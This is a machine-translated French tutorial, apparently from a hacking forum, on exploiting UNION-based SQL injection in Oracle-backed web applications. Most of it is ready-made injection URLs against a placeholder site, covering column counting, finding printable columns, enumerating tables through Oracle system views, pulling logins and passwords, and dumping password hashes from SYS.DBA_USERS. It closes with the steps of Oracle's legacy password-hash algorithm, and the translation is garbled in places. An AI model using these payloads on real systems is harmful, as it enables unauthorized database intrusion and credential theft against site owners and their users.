This page has been robot translated, sorry for typos if any. Original content here.

Injection SQL dans Oracle



  • [Introduction]
  • [Caractéristiques d'Oracle]
  • [Sélection des colonnes]
  • [Définition des colonnes imprimables]
  • [Obtention d'informations]
  • [Tables et colonnes]
  • [Mots de passe]
  • [Obtention d'informations]



  • [Introduction]


    Récemment, lors de recherches sur divers projets Web sur les vulnérabilités, j'ai découvert une injection SQL dans Oracle. Bien qu’actuellement, il est rare de trouver ce SGBD dans la programmation Web, mais cela se produit toujours. Toutes les recherches se sont terminées par une simple détection de bugs, quoi d'autre à faire était incompréhensible. En recherchant un article décrivant les aspects pratiques de l’exploitation de cette vulnérabilité dans Oracle, tels que les articles cash et spyder décrivant les injections dans MSSQL et PostgreSQL, il n’a pas été trouvé.
    À la suite de la recherche, il n’a été trouvé qu’une série d’articles k00p3r, entièrement copiés à partir de sources externes et constituant une simple traduction, dont la lecture ne donnait pas une idée claire de tenir des pommettes dans Oracle, car les articles ont en effet un grand volume, sont de nature théorique et contiennent pour la plupart de l'eau.
    En fin de compte, j'ai dû rappeler les compétences institutionnelles de travailler avec Oracle et relire un tas d'informations dispersées sur Internet. Dans cet article, je voudrais partager avec vous le fait que j'ai réussi à déterrer l'implémentation de l'injection SQL dans Oracle et à essayer de la combiner en une seule.
    Eh bien, essayez de combler le vide, et ajoutez une série d'articles en espèces et en spyder.

    [Caractéristiques d'Oracle]


    Tout d'abord, je vais donner quelques propriétés à prendre en compte lors de l'injection dans Oracle. Je veux tout de suite faire une réservation dans laquelle les injections dans l'article SELECT sont prises en compte. Bien que l'injection dans les opérateurs INSERT, UPDATE et DELETE soit également possible.
    Tout aussi important est le fait que l'article traite des problèmes d'injection dans les requêtes SQL d'Oracle, plutôt que dans les procédures PL / SQL d'Oracle. Une différence significative entre les injections dans les procédures PL / SQL est la possibilité d'utiliser le séparateur de requêtes - un point-virgule ";" Mais à ce propos, il est nécessaire d’écrire un article séparé, avec une description de toutes les conséquences. De plus, l'auteur estime que dans les applications Web, les injections sont les plus courantes dans les requêtes SQL (du moins, je n'ai rencontré que celles-là).
    Dans Oracle, ainsi que dans MySQL et PostgreSQL, une injection est effectuée à l'aide de l'opérateur UNION, c'est-à-dire avec la composition de la combinaison de deux requêtes (ci-après, le terme - sous-requête est utilisé pour simplifier la compréhension). Mais en plus de la coïncidence du nombre de colonnes de la requête principale et de la sous-requête, il convient de noter que Oracle ne convertit pas automatiquement les types dans une sous-requête. Par conséquent, lors de la sélection des colonnes, vous devez remplacer null, par contraste, par exemple, par MySQL.
    En outre, une propriété très importante est que toutes les requêtes SELECT doivent être effectuées à partir d'une table, c'est-à-dire la syntaxe de la requête doit toujours contenir le mot FROM et le nom de la table. Pour les calculs arithmétiques simples ou d'autres opérations ne nécessitant pas de table réelle, il existe une pseudo table SYS.DUAL dans Oracle.
    Une caractéristique importante est l'absence de l'opérateur LIMIT.
    Pour tronquer la requête, les caractères de commentaire "-" (deux tirets) et "/ *" (une barre oblique et un astérisque) dans Oracle SQL sont utilisés. Le premier type de commentaire est une ligne. Le deuxième type est multiligne.
    Il n'y a pas de possibilité d'utiliser plusieurs requêtes SQL en utilisant le délimiteur ";", contrairement aux routines PL / SQL.
    Si une erreur est détectée, vous pouvez identifier de manière unique Oracle, par la présence du mot ORA dans le texte du message d'erreur, par exemple:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Le mot Oracle n'est pas toujours dans le texte de l'erreur, par exemple

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Sélection des colonnes]


    Laissez l'erreur être présente dans le paramètre id:

    www.site.com/view.php?id=1'
    La définition du nombre de colonnes présentes dans la requête principale est la même que dans MySQL. Étant donné que l'opérateur UNION requiert le même nombre de colonnes, à la fois dans la requête principale et dans la sous-requête, nous devons déterminer le nombre de ces colonnes. Si vous spécifiez incorrectement les colonnes dans la sous-requête, un message d'erreur standard s'affiche:

    ORA-XXXXX: query block has incorrect number of result columns
    Pour la sélection des colonnes, il existe 2 méthodes connues et bien décrites dans l'article spyder. Mais je les ramènerai pour que le lecteur ne contienne pas les articles:

    1. Une recherche simple.
    Faites la requête suivante

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Si l'erreur apparaît, augmentez le nombre de colonnes d'un
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    et ainsi de suite jusqu'à ce que l'erreur disparaisse.

    2. Utilisation de la clause ORDER BY
    La seconde voie est beaucoup plus rapide et plus agréable si le nombre de colonnes est suffisamment grand. Faites la requête suivante

    www.site.com/view.php?id=-1+order+by+1--
    s'il n'y a pas d'erreur, alors les colonnes 1 ou plus 1

    www.site.com/view.php?id=-1+order+by+99999--
    Avec une telle requête, une erreur doit apparaître, ce qui signifie que les colonnes sont inférieures à 99999. Puis, de la même manière, nous réduisons les limites de l'intervalle sélectionné à gauche et à droite et déterminons finalement le nombre réel de colonnes dans la requête principale.

    [Définition des colonnes imprimables]


    Disons que nous avons déterminé le nombre exact de colonnes dans la requête principale, disons 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Nous devons maintenant définir les colonnes affichées sur la page. Généralement, les colonnes avec les types de données int, char et data participent à la sortie. Nous aurons suffisamment de colonnes imprimables avec les types int et char, et nous les chercherons.
    Comme indiqué précédemment, Oracle ne convertit pas automatiquement les types dans une sous-requête. Par conséquent, si nous essayons de substituer dans une colonne des valeurs d'un type inapproprié, nous obtenons l'erreur d'incompatibilité de type suivante

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Ensuite, nous commençons à composer des requêtes, en remplaçant alternativement chaque colonne par un nombre quelconque

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Ainsi, nous identifierons les colonnes imprimables de type int. Dans ce cas, si nous obtenons une erreur d'incompatibilité de typo, nous pouvons utiliser les fonctions de conversion de type to_char (), to_date () et identifier les colonnes imprimables avec des types char et data.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Pour référence, voici la syntaxe de la fonction to_char ():
    to_char (value, [format_mask], [nls_language])

    [Obtention d'informations]


    Après avoir appris le nombre de colonnes et lesquelles sont imprimables, nous pouvons procéder en toute sécurité à l’obtention des informations nécessaires dans la base de données. Eh bien, si nous connaissons certaines tables dans la base de données et les colonnes dans celles-ci, obtenir des informations n'est pas difficile. Par exemple, s'il existe une table USERS avec des colonnes ID, LOGIN et PASSWORD, la demande pour ces données ressemblera à ceci:

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    En plus de MySQL, il est possible d’utiliser les fonctions concat (), to_char () pour faciliter l’affichage et surmonter les divers problèmes de codage.
    Pour surmonter le filtrage de citations ou d'autres caractères nécessaires, il existe une fonction chr ().

    [Tables et colonnes]


    Si les tables utilisateur ne nous sont pas connues, nous pouvons obtenir diverses informations à partir des tables système Oracle connues.
    Pour connaître le nom de l'utilisateur sous lequel l'interface fonctionne, vous pouvez appeler l'utilisateur ou sys.login_user

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Vous pouvez obtenir une liste de sessions comme celle-ci: select * from V $ session

    Les tables SYS.USER_TABLES et SYS.USER_TAB_COLUMNS, qui contiennent toutes les tables et leurs colonnes disponibles à l'utilisateur, présentent un grand intérêt. Nous tirons les noms des tables et des colonnes:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    De plus, à mon avis, dans la table SYS.USER_TABLES à côté de nom_table, les colonnes suivantes présentent un intérêt: nom_espace_table, num_rows, groupes_ freelist.
    Mais, malheureusement, les demandes ci-dessus nous mèneront à un seul - le premier enregistrement de la table entière. Il y a un désir irrésistible d'utiliser l'opérateur LIMIT, que ce soit dans MySQL ou dans PostgreSQL. À la grande déception générale, cet opérateur n’est pas pris en charge par Oracle et n’a pas non plus d’équivalent valable sous la forme d’un autre opérateur.
    "Tout était perdu !!!", direz-vous.
    "NON !!!" - Je vais vous répondre.
    Après avoir torturé à peu près google, j'ai tout de même trouvé l'opportunité de composer une requête complexe tout en réalisant à distance la charge sémantique de l'opérateur LIMIT. Malheureusement, il n’a pas été possible de restaurer toutes ses capacités.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Ainsi, en scannant un nombre différent d'enregistrements dans l'échantillon, nous pouvons examiner tous les noms des tables à leur tour. La même conception peut être utilisée plus souvent lors de l'affichage de la table SYS.USER_TAB_COLUMNS, lorsque tous les noms de colonne sont disponibles pour l'utilisateur.
    De même, dans Oracle, il y a le concept de préfixe d'objet (la table est un objet), qui est présent dans le nom ou le nom de la table:
    ALL_ - tous disponibles pour l'utilisateur (le propriétaire peut ne pas l'être),
    USER_ - objets dont le propriétaire est cet utilisateur.
    Par conséquent, nous pouvons simplifier la tâche et extraire uniquement les noms des tables auxquelles nous avons accès.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Les informations provenant des tables standard suivantes peuvent également être intéressantes: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Mots de passe]


    Si nous avons de la chance et que l'utilisateur avec lequel nous travaillons avec la base de données dispose des droits sysdba, alors nous pouvons obtenir des hachages de tous les utilisateurs de la base de données.
    Le principal lieu de stockage de la convolution du mot de passe (hash) est la table du répertoire-répertoire SYS.USER $. Au-dessus de cette table, la dérivée est construite comme base, SYS.DBA_USERS. Si PASSWORD_REUSE_TIME est activé dans le profil utilisateur, la convolution du mot de passe est également stockée dans SYS.USER_HISTORY $. Vous pouvez obtenir des mots de passe et des noms d'utilisateur comme celui-ci

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Pour que ces informations soient complètes, je présenterai également un algorithme pour calculer la convolution du mot de passe, au cas où, peut-être quelqu'un pourrait-il être utile:
    1. Le texte du mot de passe est collé sur le nom d'utilisateur à droite.
    2. Dans la ligne résultante, les lettres sont incrémentées.
    3. Les caractères de chaîne sont convertis au format à deux octets en ajoutant la valeur zéro 0x00 (pour les caractères ASCII) à gauche et la ligne est ajoutée à droite par zéro octet pour une longueur totale de 80.
    4. La chaîne résultante est chiffrée par l'algorithme DES dans le mode de couplage des blocs de texte chiffré (CBC) avec la clé 0x0123456789ABCDEF.
    5. À partir du dernier bloc de résultats, les bits de parité sont supprimés et la chaîne reçue (56 bits) est utilisée pour chiffrer la chaîne d'origine de la même manière.
    6. Le dernier bloc du résultat est traduit dans les signes de l'arithmétique hexadécimale et est déclaré le résultat final-convolution.